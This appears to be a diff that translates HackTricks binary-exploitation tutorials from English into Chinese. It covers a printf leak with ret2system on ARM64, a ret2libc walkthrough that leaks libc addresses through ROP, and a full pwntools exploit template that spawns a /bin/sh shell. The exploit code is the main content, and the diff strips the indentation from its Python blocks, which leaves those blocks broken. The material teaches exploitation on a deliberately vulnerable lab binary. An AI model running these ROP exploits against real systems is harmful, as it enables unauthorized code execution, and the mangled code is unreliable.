- - Leak of PIE from stack
- - Abuse bof to go back to main
-- Round 2:
- - Leak of libc from the stack
- - ROP: ret2system
+### Printf 泄露
-### Printf leaks
-
-Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
+在调用 printf 之前设置一个断点,可以看到栈中有返回到二进制的地址以及 libc 地址:
-Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address:
+尝试不同的偏移量,**`%21$p`** 可以泄露一个二进制地址(PIE 绕过),而 **`%25$p`** 可以泄露一个 libc 地址:
-Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.**
+将泄露的 libc 地址与 libc 的基地址相减,可以看到 **泄露地址与基地址的偏移量是 `0x49c40`。**
-### x30 offset
+### x30 偏移量
-See the previous example as the bof is the same.
+参见前面的例子,因为 bof 是相同的。
-### Find Gadgets
+### 查找 Gadgets
-Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
-
-Using rooper another interesting gadget was found:
+与前面的例子一样,我们需要在 **`x0`** 中有字符串 **`/bin/sh`** 的地址,并调用 **`system`**。
+使用 rooper 找到了另一个有趣的 gadget:
```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
```
-
-This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
+这个小工具将从 **`$sp + 0x78`** 加载 `x0`,然后从 sp 加载地址 x29 和 x30,并跳转到 x30。因此,通过这个小工具,我们可以 **控制第一个参数,然后跳转到 system**。
### Exploit
-
```python
from pwn import *
from time import sleep
@@ -172,15 +157,15 @@ p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
- p.sendlineafter(b">\n" ,payload)
- response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
- if is_main_addr:
- response = response[:-4] + b"0000"
- return int(response, 16)
+p.sendlineafter(b">\n" ,payload)
+response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
+if is_main_addr:
+response = response[:-4] + b"0000"
+return int(response, 16)
def expl_bof(payload):
- p.recv()
- p.sendline(payload)
+p.recv()
+p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
@@ -213,5 +198,4 @@ p.sendline(payload)
p.interactive()
```
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
index fb453a1ba..322a24f32 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
@@ -1,84 +1,77 @@
-# Leaking libc address with ROP
+# 使用 ROP 泄露 libc 地址
{{#include ../../../../banners/hacktricks-training.md}}
-## Quick Resume
+## 快速总结
-1. **Find** overflow **offset**
-2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets
-3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
-4. With the library, **calculate the ROP and exploit it**
+1. **找到** 溢出 **偏移**
+2. **找到** `POP_RDI` gadget, `PUTS_PLT` 和 `MAIN` gadgets
+3. 使用之前的 gadgets **泄露 puts 或其他 libc 函数的内存地址** 并 **找到 libc 版本** ([donwload it](https://libc.blukat.me))
+4. 使用库,**计算 ROP 并利用它**
-## Other tutorials and binaries to practice
+## 其他教程和二进制文件以供练习
-This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
-Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
+本教程将利用本教程中提出的代码/二进制文件:[https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
+另一个有用的教程:[https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
-## Code
-
-Filename: `vuln.c`
+## 代码
+文件名: `vuln.c`
```c
#include
int main() {
- char buffer[32];
- puts("Simple ROP.\n");
- gets(buffer);
+char buffer[32];
+puts("Simple ROP.\n");
+gets(buffer);
- return 0;
+return 0;
}
```
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
+## ROP - 泄露 LIBC 模板
-## ROP - Leaking LIBC template
-
-Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
+下载漏洞利用程序并将其放置在与易受攻击的二进制文件相同的目录中,并向脚本提供所需的数据:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
-## 1- Finding the offset
-
-The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
+## 1- 查找偏移量
+模板在继续进行漏洞利用之前需要一个偏移量。如果提供了任何偏移量,它将执行必要的代码来查找它(默认 `OFFSET = ""`):
```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
- gdb.attach(p.pid, "c") #Attach and continue
- payload = cyclic(1000)
- print(r.clean())
- r.sendline(payload)
- #x/wx $rsp -- Search for bytes that crashed the application
- #cyclic_find(0x6161616b) # Find the offset of those bytes
- return
+gdb.attach(p.pid, "c") #Attach and continue
+payload = cyclic(1000)
+print(r.clean())
+r.sendline(payload)
+#x/wx $rsp -- Search for bytes that crashed the application
+#cyclic_find(0x6161616b) # Find the offset of those bytes
+return
```
-
-**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
-
+**执行** `python template.py` 将打开一个 GDB 控制台,程序将崩溃。在该 **GDB 控制台** 中执行 `x/wx $rsp` 以获取将要覆盖 RIP 的 **字节**。最后使用 **python** 控制台获取 **偏移量**:
```python
from pwn import *
cyclic_find(0x6161616b)
```
-
.png>)
-After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
+在找到偏移量(在这种情况下为 40)后,使用该值更改模板中的 OFFSET 变量。\
`OFFSET = "A" * 40`
-Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
+另一种方法是使用: `pattern create 1000` -- _执行直到 ret_ -- `pattern seach $rsp` 从 GEF。
-## 2- Finding Gadgets
-
-Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
+## 2- 寻找 Gadgets
+现在我们需要在二进制文件中找到 ROP gadgets。这些 ROP gadgets 将用于调用 `puts` 以找到正在使用的 **libc**,并随后 **启动最终利用**。
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
+`PUTS_PLT` 是调用 **function puts** 所需的。\
+`MAIN_PLT` 是在一次交互后再次调用 **main function** 所需的,以 **exploit** 溢出 **again**(无限轮次的利用)。**它在每个 ROP 的末尾用于再次调用程序**。\
+**POP_RDI** 是需要 **pass** 一个 **parameter** 给被调用的函数。
-The `PUTS_PLT` is needed to call the **function puts**.\
-The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
-The **POP_RDI** is needed to **pass** a **parameter** to the called function.
+在这一步中,你不需要执行任何操作,因为所有内容将在执行过程中由 pwntools 找到。
-In this step you don't need to execute anything as everything will be found by pwntools during the execution.
-
-## 3- Finding libc library
-
-Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
+## 3- 查找 libc 库
+现在是时候找出正在使用哪个版本的 **libc** 库了。为此,我们将 **leak** **function** `puts` 在内存中的 **address**,然后我们将 **search** 该地址中 puts 版本所在的 **library version**。
```python
def get_addr(func_name):
- FUNC_GOT = elf.got[func_name]
- log.info(func_name + " GOT @ " + hex(FUNC_GOT))
- # Create rop chain
- rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
+FUNC_GOT = elf.got[func_name]
+log.info(func_name + " GOT @ " + hex(FUNC_GOT))
+# Create rop chain
+rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
- #Send our rop-chain payload
- #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
- print(p.clean()) # clean socket buffer (read all and print)
- p.sendline(rop1)
+#Send our rop-chain payload
+#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
+print(p.clean()) # clean socket buffer (read all and print)
+p.sendline(rop1)
- #Parse leaked address
- recieved = p.recvline().strip()
- leak = u64(recieved.ljust(8, "\x00"))
- log.info("Leaked libc address, "+func_name+": "+ hex(leak))
- #If not libc yet, stop here
- if libc != "":
- libc.address = leak - libc.symbols[func_name] #Save libc base
- log.info("libc base @ %s" % hex(libc.address))
+#Parse leaked address
+recieved = p.recvline().strip()
+leak = u64(recieved.ljust(8, "\x00"))
+log.info("Leaked libc address, "+func_name+": "+ hex(leak))
+#If not libc yet, stop here
+if libc != "":
+libc.address = leak - libc.symbols[func_name] #Save libc base
+log.info("libc base @ %s" % hex(libc.address))
- return hex(leak)
+return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
- print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
- p.interactive()
+print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
+p.interactive()
```
-
-To do so, the most important line of the executed code is:
-
+要做到这一点,执行代码中最重要的一行是:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
+这将发送一些字节,直到**覆盖****RIP**为止:`OFFSET`。\
+然后,它将设置小工具`POP_RDI`的**地址**,以便下一个地址(`FUNC_GOT`)将被保存在**RDI**寄存器中。这是因为我们想要**调用 puts**,**传递**它`PUTS_GOT`的**地址**,因为 puts 函数在内存中的地址保存在指向`PUTS_GOT`的地址中。\
+之后,将调用`PUTS_PLT`(在**RDI**中包含`PUTS_GOT`),因此 puts 将**读取**`PUTS_GOT`中的内容(**内存中 puts 函数的地址**)并将其**打印出来**。\
+最后,**再次调用主函数**,以便我们可以再次利用溢出。
-This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
-Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
-After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
-Finally, **main function is called again** so we can exploit the overflow again.
-
-This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
+通过这种方式,我们已经**欺骗了 puts 函数**,使其**打印**出**内存**中函数**puts**的**地址**(该地址位于**libc**库中)。现在我们有了这个地址,我们可以**搜索正在使用的 libc 版本**。
.png>)
-As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
-But, in a remote exploit case I will explain here how can you find it:
+由于我们正在**利用**某个**本地**二进制文件,因此**不需要**弄清楚正在使用哪个版本的**libc**(只需在`/lib/x86_64-linux-gnu/libc.so.6`中找到库)。\
+但是,在远程利用的情况下,我将在这里解释如何找到它:
-### 3.1- Searching for libc version (1)
+### 3.1- 搜索 libc 版本 (1)
-You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
-It will also allow you to download the discovered version of **libc**
+您可以在网页上搜索正在使用的库:[https://libc.blukat.me/](https://libc.blukat.me)\
+它还允许您下载发现的**libc**版本。
.png>)
-### 3.2- Searching for libc version (2)
+### 3.2- 搜索 libc 版本 (2)
-You can also do:
+您还可以执行:
- `$ git clone https://github.com/niklasb/libc-database.git`
- `$ cd libc-database`
- `$ ./get`
-This will take some time, be patient.\
-For this to work we need:
+这将需要一些时间,请耐心等待。\
+为了使其正常工作,我们需要:
-- Libc symbol name: `puts`
-- Leaked libc adddress: `0x7ff629878690`
-
-We can figure out which **libc** that is most likely used.
+- Libc 符号名称:`puts`
+- 泄漏的 libc 地址:`0x7ff629878690`
+我们可以找出最有可能使用的**libc**。
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
-
-We get 2 matches (you should try the second one if the first one is not working). Download the first one:
-
+我们得到了两个匹配(如果第一个不工作,你应该尝试第二个)。下载第一个:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
- -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
- -> Downloading package
- -> Extracting package
- -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
+-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
+-> Downloading package
+-> Extracting package
+-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
+将 `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` 中的 libc 复制到我们的工作目录。
-Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
-
-### 3.3- Other functions to leak
-
+### 3.3- 其他泄漏函数
```python
puts
printf
@@ -198,28 +181,24 @@ __libc_start_main
read
gets
```
+## 4- 查找基于 libc 地址并利用
-## 4- Finding based libc address & exploiting
+在这一点上,我们应该知道使用的 libc 库。由于我们正在利用一个本地二进制文件,我将只使用:`/lib/x86_64-linux-gnu/libc.so.6`
-At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
+因此,在 `template.py` 的开头将 **libc** 变量更改为: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #设置库路径当知道时`
-So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
-
-Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
-
-Inside the `get_addr`function the **base address of libc** is going to be calculated:
+提供 **libc 库** 的 **路径** 后,**利用** 的其余部分将会被自动计算。
+在 `get_addr` 函数内部,**libc 的基地址** 将被计算:
```python
if libc != "":
- libc.address = leak - libc.symbols[func_name] #Save libc base
- log.info("libc base @ %s" % hex(libc.address))
+libc.address = leak - libc.symbols[func_name] #Save libc base
+log.info("libc base @ %s" % hex(libc.address))
```
-
> [!NOTE]
-> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
-
-Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
+> 请注意,**最终的 libc 基地址必须以 00 结尾**。如果不是这种情况,您可能泄露了不正确的库。
+然后,函数 `system` 的地址和字符串 _"/bin/sh"_ 的 **地址**将从 **libc** 的 **基地址** 计算得出,并给出 **libc 库。**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@@ -228,9 +207,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
-
-Finally, the /bin/sh execution exploit is going to be prepared sent:
-
+最后,将准备发送 /bin/sh 执行漏洞:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@@ -240,65 +217,56 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
+让我们解释一下这个最终的 ROP。\
+最后的 ROP (`rop1`) 再次调用了主函数,然后我们可以 **再次利用** 这个 **溢出**(这就是 `OFFSET` 再次出现的原因)。然后,我们想要调用 `POP_RDI` 指向 _"/bin/sh"_ 的 **地址** (`BINSH`),并调用 **system** 函数 (`SYSTEM`),因为 _"/bin/sh"_ 的地址将作为参数传递。\
+最后,**退出函数的地址** 被 **调用**,这样进程 **正常退出**,不会生成任何警报。
-Let's explain this final ROP.\
-The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
-Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
-
-**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
+**这样,利用将执行一个 \_/bin/sh**\_\*\* shell.\*\*
.png>)
-## 4(2)- Using ONE_GADGET
+## 4(2)- 使用 ONE_GADGET
-You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\
-However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
+你也可以使用 [**ONE_GADGET** ](https://github.com/david942j/one_gadget) 来获取一个 shell,而不是使用 **system** 和 **"/bin/sh"**。**ONE_GADGET** 将在 libc 库中找到一些方法,仅使用一个 **ROP 地址** 来获取一个 shell。\
+然而,通常会有一些限制,最常见且容易避免的限制是 `[rsp+0x30] == NULL`。由于你控制 **RSP** 中的值,你只需发送一些更多的 NULL 值,以避免这个限制。
.png>)
-
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
-
## EXPLOIT FILE
-You can find a template to exploit this vulnerability here:
+您可以在此处找到利用此漏洞的模板:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
-## Common problems
+## 常见问题
-### MAIN_PLT = elf.symbols\['main'] not found
-
-If the "main" symbol does not exist. Then you can find where is the main code:
+### MAIN_PLT = elf.symbols\['main'] 未找到
+如果“main”符号不存在。然后您可以找到主代码的位置:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
-
-and set the address manually:
-
+并手动设置地址:
```python
MAIN_PLT = 0x401080
```
+### Puts未找到
-### Puts not found
+如果二进制文件没有使用Puts,您应该检查它是否使用
-If the binary is not using Puts you should check if it is using
+### `sh: 1: %s%s%s%s%s%s%s%s: 未找到`
-### `sh: 1: %s%s%s%s%s%s%s%s: not found`
-
-If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
-
-Try to **subtract 64 bytes to the address of "/bin/sh"**:
+如果在创建**所有**漏洞利用后发现此**错误**:`sh: 1: %s%s%s%s%s%s%s%s: 未找到`
+尝试**从"/bin/sh"的地址中减去64字节**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
-
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
index def2864f4..b68afbf0a 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
@@ -1,11 +1,6 @@
-# Leaking libc - template
+# 泄露libc - 模板
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-{% embed url="https://websec.nl/" %}
-
```python:template.py
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
if LOCAL:
- P = process(LOCAL_BIN, env=ENV) # start the vuln binary
- ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
- ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
+P = process(LOCAL_BIN, env=ENV) # start the vuln binary
+ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
- P = remote('10.10.10.10',1339) # start the vuln binary
- ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
- ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
+P = remote('10.10.10.10',1339) # start the vuln binary
+ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
- ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
- p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
- elf = ELF(LOCAL_BIN)# Extract data from binary
- rop = ROP(elf)# Find ROP gadgets
+ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
+p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
+elf = ELF(LOCAL_BIN)# Extract data from binary
+rop = ROP(elf)# Find ROP gadgets
if GDB and not REMOTETTCP and not REMOTESSH:
- # attach gdb and continue
- # You can set breakpoints, for example "break *main"
- gdb.attach(P.pid, "b *main")
+# attach gdb and continue
+# You can set breakpoints, for example "break *main"
+gdb.attach(P.pid, "b *main")
@@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
OFFSET = b"" #b"A"*264
if OFFSET == b"":
- gdb.attach(P.pid, "c") #Attach and continue
- payload = cyclic(264)
- payload += b"AAAAAAAA"
- print(P.clean())
- P.sendline(payload)
- #x/wx $rsp -- Search for bytes that crashed the application
- #print(cyclic_find(0x63616171)) # Find the offset of those bytes
- P.interactive()
- exit()
+gdb.attach(P.pid, "c") #Attach and continue
+payload = cyclic(264)
+payload += b"AAAAAAAA"
+print(P.clean())
+P.sendline(payload)
+#x/wx $rsp -- Search for bytes that crashed the application
+#print(cyclic_find(0x63616171)) # Find the offset of those bytes
+P.interactive()
+exit()
@@ -69,11 +64,11 @@ if OFFSET == b"":
### Find Gadgets ###
####################
try:
- libc_func = "puts"
- PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
+libc_func = "puts"
+PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except:
- libc_func = "printf"
- PUTS_PLT = ELF_LOADED.plt['printf']
+libc_func = "printf"
+PUTS_PLT = ELF_LOADED.plt['printf']
MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
@@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET))
########################
def generate_payload_aligned(rop):
- payload1 = OFFSET + rop
- if (len(payload1) % 16) == 0:
- return payload1
+payload1 = OFFSET + rop
+if (len(payload1) % 16) == 0:
+return payload1
- else:
- payload2 = OFFSET + p64(RET) + rop
- if (len(payload2) % 16) == 0:
- log.info("Payload aligned successfully")
- return payload2
- else:
- log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
- return payload1
+else:
+payload2 = OFFSET + p64(RET) + rop
+if (len(payload2) % 16) == 0:
+log.info("Payload aligned successfully")
+return payload2
+else:
+log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
+return payload1
def get_addr(libc_func):
- FUNC_GOT = ELF_LOADED.got[libc_func]
- log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
- # Create rop chain
- rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
- rop1 = generate_payload_aligned(rop1)
+FUNC_GOT = ELF_LOADED.got[libc_func]
+log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
+# Create rop chain
+rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
+rop1 = generate_payload_aligned(rop1)
- # Send our rop-chain payload
- #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
- print(P.clean()) # clean socket buffer (read all and print)
- P.sendline(rop1)
+# Send our rop-chain payload
+#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
+print(P.clean()) # clean socket buffer (read all and print)
+P.sendline(rop1)
- # If binary is echoing back the payload, remove that message
- recieved = P.recvline().strip()
- if OFFSET[:30] in recieved:
- recieved = P.recvline().strip()
+# If binary is echoing back the payload, remove that message
+recieved = P.recvline().strip()
+if OFFSET[:30] in recieved:
+recieved = P.recvline().strip()
- # Parse leaked address
- log.info(f"Len rop1: {len(rop1)}")
- leak = u64(recieved.ljust(8, b"\x00"))
- log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
+# Parse leaked address
+log.info(f"Len rop1: {len(rop1)}")
+leak = u64(recieved.ljust(8, b"\x00"))
+log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
- # Set lib base address
- if LIBC:
- LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
- print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
- log.info("LIBC base @ %s" % hex(LIBC.address))
+# Set lib base address
+if LIBC:
+LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
+print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
+log.info("LIBC base @ %s" % hex(LIBC.address))
- # If not LIBC yet, stop here
- else:
- print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
- P.interactive()
+# If not LIBC yet, stop here
+else:
+print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
+P.interactive()
- return hex(leak)
+return hex(leak)
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
@@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
## Via One_gadget (https://github.com/david942j/one_gadget)
# gem install one_gadget
def get_one_gadgets(libc):
- import string, subprocess
- args = ["one_gadget", "-r"]
- if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
- args += ["-b", libc.hex()]
- else:
- args += [libc]
- try:
- one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
- except:
- print("One_gadget isn't installed")
- one_gadgets = []
- return
+import string, subprocess
+args = ["one_gadget", "-r"]
+if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
+args += ["-b", libc.hex()]
+else:
+args += [libc]
+try:
+one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
+except:
+print("One_gadget isn't installed")
+one_gadgets = []
+return
rop2 = b""
if USE_ONE_GADGET:
- one_gadgets = get_one_gadgets(LIBC)
- if one_gadgets:
- rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
+one_gadgets = get_one_gadgets(LIBC)
+if one_gadgets:
+rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
## Normal/Long exploitation
if not rop2:
- BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
- SYSTEM = LIBC.sym["system"]
- EXIT = LIBC.sym["exit"]
+BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
+SYSTEM = LIBC.sym["system"]
+EXIT = LIBC.sym["exit"]
- log.info("POP_RDI %s " % hex(POP_RDI))
- log.info("bin/sh %s " % hex(BINSH))
- log.info("system %s " % hex(SYSTEM))
- log.info("exit %s " % hex(EXIT))
+log.info("POP_RDI %s " % hex(POP_RDI))
+log.info("bin/sh %s " % hex(BINSH))
+log.info("system %s " % hex(SYSTEM))
+log.info("exit %s " % hex(EXIT))
- rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
- rop2 = generate_payload_aligned(rop2)
+rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
+rop2 = generate_payload_aligned(rop2)
print(P.clean())
@@ -189,41 +184,30 @@ P.sendline(rop2)
P.interactive() #Interact with your shell :)
```
+## 常见问题
-## Common problems
-
-### MAIN_PLT = elf.symbols\['main'] not found
-
-If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
+### MAIN_PLT = elf.symbols\['main'] 未找到
+如果 "main" 符号不存在(可能是因为它是一个剥离的二进制文件)。那么你可以找到主代码的位置:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
-
-and set the address manually:
-
+并手动设置地址:
```python
MAIN_PLT = 0x401080
```
+### Puts未找到
-### Puts not found
+如果二进制文件没有使用Puts,你应该**检查它是否使用**
-If the binary is not using Puts you should **check if it is using**
